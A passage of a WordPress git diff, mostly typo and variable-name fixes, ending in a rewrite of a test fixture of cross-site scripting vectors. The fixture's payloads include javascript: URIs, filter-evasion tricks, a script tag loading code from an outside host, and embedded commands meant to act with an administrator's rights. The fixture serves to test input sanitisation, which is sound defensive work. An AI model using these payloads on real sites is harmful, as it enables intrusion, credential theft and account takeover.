diff --git a/README.md b/README.md index 7d71d75f7e0b7..f1a12dda6952a 100644 --- a/README.md +++ b/README.md @@ -13,7 +13,7 @@ To get started, create a codespace for this repository by clicking this 👇 [![Open in GitHub Codespaces](https://github.com/codespaces/badge.svg)](https://github.com/codespaces/new?hide_repo_select=true&ref=trunk&repo=75645659) -A codespace will open in a web-based version of Visual Studio Code. The [dev container](.devcontainer/devcontainer.json) is fully configured with softwares needed for this project. +A codespace will open in a web-based version of Visual Studio Code. The [dev container](.devcontainer/devcontainer.json) is fully configured with software needed for this project. **Note**: Dev containers is an open spec which is supported by [GitHub Codespaces](https://github.com/codespaces) and [other tools](https://containers.dev/supporting). diff --git a/src/js/_enqueues/lib/admin-bar.js b/src/js/_enqueues/lib/admin-bar.js index 01b175d1b0a6f..dbee8663253b5 100644 --- a/src/js/_enqueues/lib/admin-bar.js +++ b/src/js/_enqueues/lib/admin-bar.js @@ -203,7 +203,7 @@ } /** - * Toogle hover class for mobile devices. + * Toggle hover class for mobile devices. * * @since 5.3.1 * diff --git a/src/js/_enqueues/wp/backbone.js b/src/js/_enqueues/wp/backbone.js index 74297e8e06fdb..4fd194f5737d5 100644 --- a/src/js/_enqueues/wp/backbone.js +++ b/src/js/_enqueues/wp/backbone.js @@ -310,7 +310,7 @@ window.wp = window.wp || {}; * @since 3.6.0 * * @param {Object} options Options for call. - * @param {boolean} options.silent If true, `unset` wil *not* be triggered on + * @param {boolean} options.silent If true, `unset` will *not* be triggered on * the master views' parent. * * @return {wp.Backbone.Subviews} The current Subviews instance. diff --git a/src/js/_enqueues/wp/customize/controls.js b/src/js/_enqueues/wp/customize/controls.js index 650ac8a161052..dbfef020f73ed 100644 --- a/src/js/_enqueues/wp/customize/controls.js +++ b/src/js/_enqueues/wp/customize/controls.js @@ -1799,7 +1799,7 @@ section.closeDetails(); } else { - // Escape from the inifinite scroll list. + // Escape from the infinite scroll list. section.headerContainer.find( '.customize-themes-section-title' ).focus(); } event.stopPropagation(); // Prevent section from being collapsed. @@ -7199,7 +7199,7 @@ } ) ); /** - * Return whether the pubish settings section should be active. + * Return whether the publish settings section should be active. * * @return {boolean} Is section active. */ diff --git a/src/js/_enqueues/wp/customize/loader.js b/src/js/_enqueues/wp/customize/loader.js index e9368c3f83f46..2326f1f7dfccc 100644 --- a/src/js/_enqueues/wp/customize/loader.js +++ b/src/js/_enqueues/wp/customize/loader.js @@ -22,7 +22,7 @@ window.wp = window.wp || {}; }); /** - * Allows the Customizer to be overlayed on any page. + * Allows the Customizer to be overlaid on any page. * * By default, any element in the body with the load-customize class will open * an iframe overlay with the URL specified. diff --git a/src/js/_enqueues/wp/customize/selective-refresh.js b/src/js/_enqueues/wp/customize/selective-refresh.js index 2967d4515220a..6744361066ce1 100644 --- a/src/js/_enqueues/wp/customize/selective-refresh.js +++ b/src/js/_enqueues/wp/customize/selective-refresh.js @@ -429,7 +429,7 @@ wp.customize.selectiveRefresh = ( function( $, api ) { } /* jshint ignore:start */ - self.orginalDocumentWrite = document.write; + self.originalDocumentWrite = document.write; document.write = function() { throw new Error( self.data.l10n.badDocumentWrite ); }; @@ -473,8 +473,8 @@ wp.customize.selectiveRefresh = ( function( $, api ) { partial.fallback( error, [ placement ] ); } /* jshint ignore:start */ - document.write = self.orginalDocumentWrite; - self.orginalDocumentWrite = null; + document.write = self.originalDocumentWrite; + self.originalDocumentWrite = null; /* jshint ignore:end */ partial.createEditShortcutForPlacement( placement ); @@ -673,7 +673,7 @@ wp.customize.selectiveRefresh = ( function( $, api ) { self._pendingPartialRequests = {}; /** - * Timeout ID for the current requesr, or null if no request is current. + * Timeout ID for the current request, or null if no request is current. * * @since 4.5.0 * @type {number|null} diff --git a/src/js/_enqueues/wp/customize/widgets.js b/src/js/_enqueues/wp/customize/widgets.js index 2ba8aeed81fc8..05bd65c901caa 100644 --- a/src/js/_enqueues/wp/customize/widgets.js +++ b/src/js/_enqueues/wp/customize/widgets.js @@ -388,7 +388,7 @@ }, /** - * Adds keyboard accessiblity to the panel. + * Adds keyboard accessibility to the panel. */ keyboardAccessible: function( event ) { var isEnter = ( event.which === 13 ), diff --git a/src/js/_enqueues/wp/dashboard.js b/src/js/_enqueues/wp/dashboard.js index 3354790472319..0115611fe9f41 100644 --- a/src/js/_enqueues/wp/dashboard.js +++ b/src/js/_enqueues/wp/dashboard.js @@ -92,7 +92,7 @@ jQuery( function($) { setTimeout( function(){ // Request the widget content. p.load( ajaxurl + '?action=dashboard-widgets&widget=' + id + '&pagenow=' + pagenow, '', function() { - // Hide the parent and slide it out for visual fancyness. + // Hide the parent and slide it out for visual fanciness. p.hide().slideDown('normal', function(){ $(this).css('display', ''); }); diff --git a/src/js/_enqueues/wp/editor/base.js b/src/js/_enqueues/wp/editor/base.js index d5fe958c19395..2465af3227071 100644 --- a/src/js/_enqueues/wp/editor/base.js +++ b/src/js/_enqueues/wp/editor/base.js @@ -265,7 +265,7 @@ window.wp = window.wp || {}; } /** - * Gets a list of unique shortcodes or shortcode-look-alikes in the content. + * Gets a list of unique shortcodes or shortcode-lookalikes in the content. * * @param {string} content The content we want to scan for shortcodes. */ @@ -561,7 +561,7 @@ window.wp = window.wp || {}; * By default TinyMCE wraps loose inline tags in a `

`. * When removing selection markers an empty `

` may be left behind, remove it. * - * @param {Object} $marker The marker to be removed from the editor DOM, wrapped in an instnce of `editor.$` + * @param {Object} $marker The marker to be removed from the editor DOM, wrapped in an instance of `editor.$` */ function removeSelectionMarker( $marker ) { var $markerParent = $marker.parent(); diff --git a/src/js/_enqueues/wp/editor/dfw.js b/src/js/_enqueues/wp/editor/dfw.js index a47c548dc9a8f..04b001e1c8059 100644 --- a/src/js/_enqueues/wp/editor/dfw.js +++ b/src/js/_enqueues/wp/editor/dfw.js @@ -1552,7 +1552,7 @@ // Bind and unbind based on the distraction free writing focus. $document.on( 'dfw-on.focus', mceBind ).on( 'dfw-off.focus', mceUnbind ); - // Focuse the editor when it is the target of the click event. + // Focus the editor when it is the target of the click event. editor.on( 'click', function( event ) { if ( event.target === editor.getDoc().documentElement ) { editor.focus(); diff --git a/src/js/_enqueues/wp/theme-plugin-editor.js b/src/js/_enqueues/wp/theme-plugin-editor.js index 8871b0432a676..2fd866531f362 100644 --- a/src/js/_enqueues/wp/theme-plugin-editor.js +++ b/src/js/_enqueues/wp/theme-plugin-editor.js @@ -191,7 +191,7 @@ wp.themePluginEditor = (function( $ ) { return; } - // Scroll ot the line that has the error. + // Scroll to the line that has the error. if ( component.lintErrors.length ) { component.instance.codemirror.setCursor( component.lintErrors[0].from.line ); return; diff --git a/src/js/_enqueues/wp/theme.js b/src/js/_enqueues/wp/theme.js index 13ed5aab4e8d2..e4bebbbc1e8c1 100644 --- a/src/js/_enqueues/wp/theme.js +++ b/src/js/_enqueues/wp/theme.js @@ -926,7 +926,7 @@ themes.view.Preview = themes.view.Details.extend({ currentPreviewDevice = this.$el.data( 'current-preview-device' ); if ( currentPreviewDevice ) { - self.tooglePreviewDeviceButtons( currentPreviewDevice ); + self.togglePreviewDeviceButtons( currentPreviewDevice ); } themes.router.navigate( themes.router.baseUrl( themes.router.themePath + this.model.get( 'id' ) ), { replace: false } ); @@ -988,10 +988,10 @@ themes.view.Preview = themes.view.Details.extend({ .addClass( 'preview-' + device ) .data( 'current-preview-device', device ); - this.tooglePreviewDeviceButtons( device ); + this.togglePreviewDeviceButtons( device ); }, - tooglePreviewDeviceButtons: function( newDevice ) { + togglePreviewDeviceButtons: function( newDevice ) { var $devices = $( '.wp-full-overlay-footer .devices' ); $devices.find( 'button' ) diff --git a/src/js/media/views/toolbar.js b/src/js/media/views/toolbar.js index ed40dcdfdad49..ec1b31aec343e 100644 --- a/src/js/media/views/toolbar.js +++ b/src/js/media/views/toolbar.js @@ -52,7 +52,7 @@ Toolbar = View.extend(/** @lends wp.media.view.Toolbar.prototype */{ } }, /** - * @return {wp.media.view.Toolbar} Returns itsef to allow chaining + * @return {wp.media.view.Toolbar} Returns itself to allow chaining */ dispose: function() { if ( this.selection ) { diff --git a/src/wp-admin/css/list-tables.css b/src/wp-admin/css/list-tables.css index f5db5232a868d..a0f49140827fd 100644 --- a/src/wp-admin/css/list-tables.css +++ b/src/wp-admin/css/list-tables.css @@ -904,7 +904,7 @@ tr:hover .row-actions, tr.inline-edit-row td { padding: 0; - /* Prevents the focus style on .inline-edit-wrapper from being cutted-off */ + /* Prevents the focus style on .inline-edit-wrapper from being cut-off */ position: relative; } diff --git a/src/wp-content/themes/twentyfourteen/inc/featured-content.php b/src/wp-content/themes/twentyfourteen/inc/featured-content.php index 9e3310ff54b38..8b36b12c31519 100644 --- a/src/wp-content/themes/twentyfourteen/inc/featured-content.php +++ b/src/wp-content/themes/twentyfourteen/inc/featured-content.php @@ -179,7 +179,7 @@ public static function get_featured_post_ids() { } /** - * Return an array with IDs of posts maked as sticky. + * Return an array with IDs of posts marked as sticky. * * @since Twenty Fourteen 1.0 * diff --git a/src/wp-content/themes/twentyseventeen/assets/css/colors-dark.css b/src/wp-content/themes/twentyseventeen/assets/css/colors-dark.css index f7b977dca056c..18bb338ffddf3 100644 --- a/src/wp-content/themes/twentyseventeen/assets/css/colors-dark.css +++ b/src/wp-content/themes/twentyseventeen/assets/css/colors-dark.css @@ -126,8 +126,8 @@ .colors-dark .widget .widget-title a:hover, .colors-dark .widget ul li a:focus, .colors-dark .widget ul li a:hover { - -webkit-box-shadow: inset 0 0 0 rgba(255, 255, 255, 0), 0 3px 0 rgba(255, 255, 255, 1); /* Equivalant to #fff */ - box-shadow: inset 0 0 0 rgba(255, 255, 255, 0), 0 3px 0 rgba(255, 255, 255, 1); /* Equivalant to #fff */ + -webkit-box-shadow: inset 0 0 0 rgba(255, 255, 255, 0), 0 3px 0 rgba(255, 255, 255, 1); /* Equivalent to #fff */ + box-shadow: inset 0 0 0 rgba(255, 255, 255, 0), 0 3px 0 rgba(255, 255, 255, 1); /* Equivalent to #fff */ } .colors-dark .entry-content a, @@ -137,8 +137,8 @@ .colors-dark .site-footer .widget-area a, .colors-dark .posts-navigation a, .colors-dark .widget_authors a strong { - -webkit-box-shadow: inset 0 -1px 0 rgba(240, 240, 240, 1); /* Equivalant to #f0f0f0 */ - box-shadow: inset 0 -1px 0 rgba(240, 240, 240, 1); /* Equivalant to #f0f0f0 */ + -webkit-box-shadow: inset 0 -1px 0 rgba(240, 240, 240, 1); /* Equivalent to #f0f0f0 */ + box-shadow: inset 0 -1px 0 rgba(240, 240, 240, 1); /* Equivalent to #f0f0f0 */ } body.colors-dark, @@ -474,8 +474,8 @@ body.colors-dark, .colors-dark .widget ul li a, .colors-dark .site-footer .widget-area ul li a, .colors-dark .site-info a { - -webkit-box-shadow: inset 0 -1px 0 rgba(34, 34, 34, 1); /* Equivalant to #222 */ - box-shadow: inset 0 -1px 0 rgba(34, 34, 34, 1); /* Equivalant to #222 */ + -webkit-box-shadow: inset 0 -1px 0 rgba(34, 34, 34, 1); /* Equivalent to #222 */ + box-shadow: inset 0 -1px 0 rgba(34, 34, 34, 1); /* Equivalent to #222 */ } /* Fixes linked images */ diff --git a/src/wp-content/themes/twentytwelve/inc/block-patterns.php b/src/wp-content/themes/twentytwelve/inc/block-patterns.php index be038d9dfd4d4..d40c4685f890f 100644 --- a/src/wp-content/themes/twentytwelve/inc/block-patterns.php +++ b/src/wp-content/themes/twentytwelve/inc/block-patterns.php @@ -100,7 +100,7 @@

' . esc_html__( 'Far far away, behind the word mountains, far from the countries Vokalia and Consonantia, there live the blind texts. Separated they live in Bookmarksgrove right at the coast of the Semantics, a large language ocean. A small river named Duden flows by their place and supplies it with the necessary regelialia. It is a paradisematic country, in which roasted parts of sentences fly into your mouth.', 'twentytwelve' ) . '

-

' . esc_html__( 'The Big Oxmox advised her not to do so, because there were thousands of bad Commas, wild Question Marks and devious Semikoli, but the Little Blind Text didn’t listen. She packed her seven versalia, put her initial into the belt and made herself on the way. When she reached the first hills of the Italic Mountains, she had a last view back on the skyline of her hometown Bookmarksgrove, the headline of Alphabet Village and the subline of her own road, the Line Lane. Pityful a rethoric question ran over her cheek, then.', 'twentytwelve' ) . '

+

' . esc_html__( 'The Big Oxmox advised her not to do so, because there were thousands of bad Commas, wild Question Marks and devious Semikoli, but the Little Blind Text didn’t listen. She packed her seven versalia, put her initial into the belt and made herself on the way. When she reached the first hills of the Italic Mountains, she had a last view back on the skyline of her hometown Bookmarksgrove, the headline of Alphabet Village and the subline of her own road, the Line Lane. Pityful a rhetoric question ran over her cheek, then.', 'twentytwelve' ) . '

' . esc_html__( 'It is a paradisematic country, in which roasted parts of sentences fly into your mouth. Even the all-powerful Pointing has no control about the blind texts it is an almost unorthographic life One day however a small line of blind text by the name of Lorem Ipsum decided to leave for the far World of Grammar. Far far away, behind the word mountains, far from the countries Vokalia and Consonantia, there live the blind texts. Separated they live in Bookmarksgrove right at the coast of the Semantics, a large language ocean. A small river named Duden flows by their place and supplies it with the necessary regelialia. It is a paradisematic country, in which roasted parts of sentences fly into your mouth.', 'twentytwelve' ) . '

diff --git a/src/wp-content/themes/twentytwenty/assets/js/index.js b/src/wp-content/themes/twentytwenty/assets/js/index.js index 5daa9eaa7c129..f5b142d239dac 100644 --- a/src/wp-content/themes/twentytwenty/assets/js/index.js +++ b/src/wp-content/themes/twentytwenty/assets/js/index.js @@ -331,7 +331,7 @@ twentytwenty.intrinsicRatioVideos = { } ); } -}; // twentytwenty.instrinsicRatioVideos +}; // twentytwenty.intrinsicRatioVideos /* ----------------------------------------------------------------------------------------------- Modal Menu diff --git a/src/wp-content/themes/twentytwentyone/assets/sass/06-components/header.scss b/src/wp-content/themes/twentytwentyone/assets/sass/06-components/header.scss index 557e2f5e521ee..21a8da4f59cf0 100644 --- a/src/wp-content/themes/twentytwentyone/assets/sass/06-components/header.scss +++ b/src/wp-content/themes/twentytwentyone/assets/sass/06-components/header.scss @@ -173,7 +173,7 @@ margin-top: calc(0px - var(--button--padding-vertical) + (0.25 * var(--global--spacing-unit))); #primary-mobile-menu { - // The 4.5px here is to offset the icon size horizontallly + // The 4.5px here is to offset the icon size horizontally // (the icon's width is larger than the path's width and has extra space on the sides). padding-left: calc(var(--global--spacing-horizontal) * 0.6 - 4.5px); padding-right: calc(var(--global--spacing-horizontal) * 0.6 - 4.5px); diff --git a/src/wp-includes/class-wp-theme-json.php b/src/wp-includes/class-wp-theme-json.php index 7ab626ce8f96e..a3171db7e1219 100644 --- a/src/wp-includes/class-wp-theme-json.php +++ b/src/wp-includes/class-wp-theme-json.php @@ -2893,7 +2893,7 @@ protected static function should_override_preset( $theme_json, $path, $override /** * Returns the default slugs for all the presets in an associative array - * whose keys are the preset paths and the leafs is the list of slugs. + * whose keys are the preset paths and the leaves is the list of slugs. * * For example: * diff --git a/src/wp-includes/embed.php b/src/wp-includes/embed.php index 0958a2b0c3ee8..6c767cfcab433 100644 --- a/src/wp-includes/embed.php +++ b/src/wp-includes/embed.php @@ -244,7 +244,7 @@ function wp_embed_handler_youtube( $matches, $attr, $url, $rawattr ) { $embed = $wp_embed->autoembed( sprintf( 'https://youtube.com/watch?v=%s', urlencode( $matches[2] ) ) ); /** - * Filters the YoutTube embed output. + * Filters the YouTube embed output. * * @since 4.0.0 * diff --git a/src/wp-includes/functions.php b/src/wp-includes/functions.php index b85036cb956bf..d7cc00672bce3 100644 --- a/src/wp-includes/functions.php +++ b/src/wp-includes/functions.php @@ -2270,7 +2270,7 @@ function wp_is_writable( $path ) { * PHP has issues with Windows ACL's for determine if a * directory is writable or not, this works around them by * checking the ability to open files rather than relying - * upon PHP to interprate the OS ACL. + * upon PHP to interpret the OS ACL. * * @since 2.8.0 * diff --git a/src/wp-includes/html-api/class-wp-html-tag-processor.php b/src/wp-includes/html-api/class-wp-html-tag-processor.php index c540ea96c111e..238d59bec3e7c 100644 --- a/src/wp-includes/html-api/class-wp-html-tag-processor.php +++ b/src/wp-includes/html-api/class-wp-html-tag-processor.php @@ -2071,7 +2071,7 @@ private function after_tag() { /* * Purge updates if there are too many. The actual count isn't * scientific, but a few values from 100 to a few thousand were - * tests to find a practially-useful limit. + * tests to find a practically-useful limit. * * If the update queue grows too big, then the Tag Processor * will spend more time iterating through them and lose the diff --git a/src/wp-includes/ms-deprecated.php b/src/wp-includes/ms-deprecated.php index c6c7f544c0b53..5a6b4415edf74 100644 --- a/src/wp-includes/ms-deprecated.php +++ b/src/wp-includes/ms-deprecated.php @@ -145,7 +145,7 @@ function clear_global_post_cache( $post_id ) { } /** - * Deprecated functionality to determin if the current site is the main site. + * Deprecated functionality to determine if the current site is the main site. * * @since MU (3.0.0) * @deprecated 3.0.0 Use is_main_site() diff --git a/src/wp-includes/nav-menu-template.php b/src/wp-includes/nav-menu-template.php index 316a5916d356d..19eb75a97bced 100644 --- a/src/wp-includes/nav-menu-template.php +++ b/src/wp-includes/nav-menu-template.php @@ -341,9 +341,9 @@ function _wp_menu_item_classes_by_context( &$menu_items ) { if ( is_array( $terms ) ) { $possible_object_parents = array_merge( $possible_object_parents, $terms ); $term_to_ancestor = array(); - foreach ( (array) $term_hierarchy as $anc => $descs ) { - foreach ( (array) $descs as $desc ) { - $term_to_ancestor[ $desc ] = $anc; + foreach ( (array) $term_hierarchy as $ancestor => $descendents ) { + foreach ( (array) $descendents as $desc ) { + $term_to_ancestor[ $desc ] = $ancestor; } } @@ -365,9 +365,9 @@ function _wp_menu_item_classes_by_context( &$menu_items ) { } elseif ( ! empty( $queried_object->taxonomy ) && is_taxonomy_hierarchical( $queried_object->taxonomy ) ) { $term_hierarchy = _get_term_hierarchy( $queried_object->taxonomy ); $term_to_ancestor = array(); - foreach ( (array) $term_hierarchy as $anc => $descs ) { - foreach ( (array) $descs as $desc ) { - $term_to_ancestor[ $desc ] = $anc; + foreach ( (array) $term_hierarchy as $ancestor => $descendents ) { + foreach ( (array) $descendents as $desc ) { + $term_to_ancestor[ $desc ] = $ancestor; } } $desc = $queried_object->term_id; @@ -430,13 +430,13 @@ function _wp_menu_item_classes_by_context( &$menu_items ) { ) { $classes[] = 'current-menu-item'; $menu_items[ $key ]->current = true; - $_anc_id = (int) $menu_item->db_id; + $ancestor_id = (int) $menu_item->db_id; while ( - ( $_anc_id = (int) get_post_meta( $_anc_id, '_menu_item_menu_item_parent', true ) ) - && ! in_array( $_anc_id, $active_ancestor_item_ids, true ) + ( $ancestor_id = (int) get_post_meta( $ancestor_id, '_menu_item_menu_item_parent', true ) ) + && ! in_array( $ancestor_id, $active_ancestor_item_ids, true ) ) { - $active_ancestor_item_ids[] = $_anc_id; + $active_ancestor_item_ids[] = $ancestor_id; } if ( 'post_type' === $menu_item->type && 'page' === $menu_item->object ) { @@ -457,13 +457,13 @@ function _wp_menu_item_classes_by_context( &$menu_items ) { ) { $classes[] = 'current-menu-item'; $menu_items[ $key ]->current = true; - $_anc_id = (int) $menu_item->db_id; + $ancestor_id = (int) $menu_item->db_id; while ( - ( $_anc_id = (int) get_post_meta( $_anc_id, '_menu_item_menu_item_parent', true ) ) - && ! in_array( $_anc_id, $active_ancestor_item_ids, true ) + ( $ancestor_id = (int) get_post_meta( $ancestor_id, '_menu_item_menu_item_parent', true ) ) + && ! in_array( $ancestor_id, $active_ancestor_item_ids, true ) ) { - $active_ancestor_item_ids[] = $_anc_id; + $active_ancestor_item_ids[] = $ancestor_id; } $active_parent_item_ids[] = (int) $menu_item->menu_item_parent; @@ -494,13 +494,13 @@ function _wp_menu_item_classes_by_context( &$menu_items ) { if ( $raw_item_url && in_array( $item_url, $matches, true ) ) { $classes[] = 'current-menu-item'; $menu_items[ $key ]->current = true; - $_anc_id = (int) $menu_item->db_id; + $ancestor_id = (int) $menu_item->db_id; while ( - ( $_anc_id = (int) get_post_meta( $_anc_id, '_menu_item_menu_item_parent', true ) ) - && ! in_array( $_anc_id, $active_ancestor_item_ids, true ) + ( $ancestor_id = (int) get_post_meta( $ancestor_id, '_menu_item_menu_item_parent', true ) ) + && ! in_array( $ancestor_id, $active_ancestor_item_ids, true ) ) { - $active_ancestor_item_ids[] = $_anc_id; + $active_ancestor_item_ids[] = $ancestor_id; } if ( in_array( home_url(), array( untrailingslashit( $current_url ), untrailingslashit( $_indexless_current ) ), true ) ) { diff --git a/src/wp-includes/post.php b/src/wp-includes/post.php index 9c662aaa2496f..8c3f55d271a7d 100644 --- a/src/wp-includes/post.php +++ b/src/wp-includes/post.php @@ -3403,7 +3403,7 @@ function wp_post_mime_type_where( $post_mime_types, $table_alias = '' ) { $post_mime_types = array_map( 'trim', explode( ',', $post_mime_types ) ); } - $wheres = array(); + $where_clauses = array(); foreach ( (array) $post_mime_types as $mime_type ) { $mime_type = preg_replace( '/\s/', '', $mime_type ); @@ -3431,14 +3431,14 @@ function wp_post_mime_type_where( $post_mime_types, $table_alias = '' ) { } if ( str_contains( $mime_pattern, '%' ) ) { - $wheres[] = empty( $table_alias ) ? "post_mime_type LIKE '$mime_pattern'" : "$table_alias.post_mime_type LIKE '$mime_pattern'"; + $where_clauses[] = empty( $table_alias ) ? "post_mime_type LIKE '$mime_pattern'" : "$table_alias.post_mime_type LIKE '$mime_pattern'"; } else { - $wheres[] = empty( $table_alias ) ? "post_mime_type = '$mime_pattern'" : "$table_alias.post_mime_type = '$mime_pattern'"; + $where_clauses[] = empty( $table_alias ) ? "post_mime_type = '$mime_pattern'" : "$table_alias.post_mime_type = '$mime_pattern'"; } } - if ( ! empty( $wheres ) ) { - $where = ' AND (' . implode( ' OR ', $wheres ) . ') '; + if ( ! empty( $where_clauses ) ) { + $where = ' AND (' . implode( ' OR ', $where_clauses ) . ') '; } return $where; diff --git a/src/wp-includes/theme.php b/src/wp-includes/theme.php index 7157318b9b7d9..11b7bd9aa3d22 100644 --- a/src/wp-includes/theme.php +++ b/src/wp-includes/theme.php @@ -3562,7 +3562,7 @@ function _wp_customize_include() { $changeset_uuid = false; /* - * Set initially fo false since defaults to true for back-compat; + * Set initially to false since defaults to true for back-compat; * can be overridden via the customize_changeset_branching filter. */ $branching = false; diff --git a/tests/phpunit/data/formatting/xssAttacks.xml b/tests/phpunit/data/formatting/xssAttacks.xml index 017bf1f3474fc..42f3dd12806f8 100644 --- a/tests/phpunit/data/formatting/xssAttacks.xml +++ b/tests/phpunit/data/formatting/xssAttacks.xml @@ -1,433 +1,433 @@ - - - XSS Locator - ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{} - Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. You'll need to replace the "&" with "%26" if you are submitting this XSS string via HTTP GET or it will be ignored and everything after it will be interpreted as another variable. Tip: If you're in a rush and need to quickly check a page, often times injecting the deprecated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - XSS Quick Test - '';!--"<XSS>=&{()} - If you don't have much space, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS versus &lt;XSS to see if it is vulnerable. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - SCRIPT w/Alert() - <SCRIPT>alert('XSS')</SCRIPT> - Basic injection attack - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - SCRIPT w/Source File - <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> - No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - SCRIPT w/Char Code - <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> - Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - BASE - <BASE HREF="javascript:alert('XSS');//"> - Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like "/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment this will work - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - BGSOUND - <BGSOUND SRC="javascript:alert('XSS');"> - BGSOUND - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - BODY background-image - <BODY BACKGROUND="javascript:alert('XSS');"> - BODY image - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - BODY ONLOAD - <BODY ONLOAD=alert('XSS')> - BODY tag (I like this method because it doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack) - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - DIV background-image 1 - <DIV STYLE="background-image: url(javascript:alert('XSS'))"> - Div background-image - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - DIV background-image 2 - <DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))"> - Div background-image plus extra characters. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8203, 12288, 65279) - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - DIV expression - <DIV STYLE="width: expression(alert('XSS'));"> - Div expression - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression" - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - FRAME - <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> - Frame (Frames have the same sorts of XSS problems as iframes). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - IFRAME - <IFRAME SRC="javascript:alert('XSS');"></IFRAME> - Iframe (If iframes are allowed there are a lot of other XSS problems as well). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - INPUT Image - <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> - INPUT Image - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - IMG w/JavaScript Directive - <IMG SRC="javascript:alert('XSS');"> - Image XSS using the JavaScript directive. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - IMG No Quotes/Semicolon - <IMG SRC=javascript:alert('XSS')> - No quotes and no semicolon - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - IMG Dynsrc - <IMG DYNSRC="javascript:alert('XSS');"> - IMG Dynsrc - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - IMG Lowsrc - <IMG LOWSRC="javascript:alert('XSS');"> - IMG Lowsrc - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - IMG Embedded commands 1 - <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> - This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc... This is one of the lesser used but more useful XSS vectors. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - IMG Embedded commands 2 - Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser - IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is 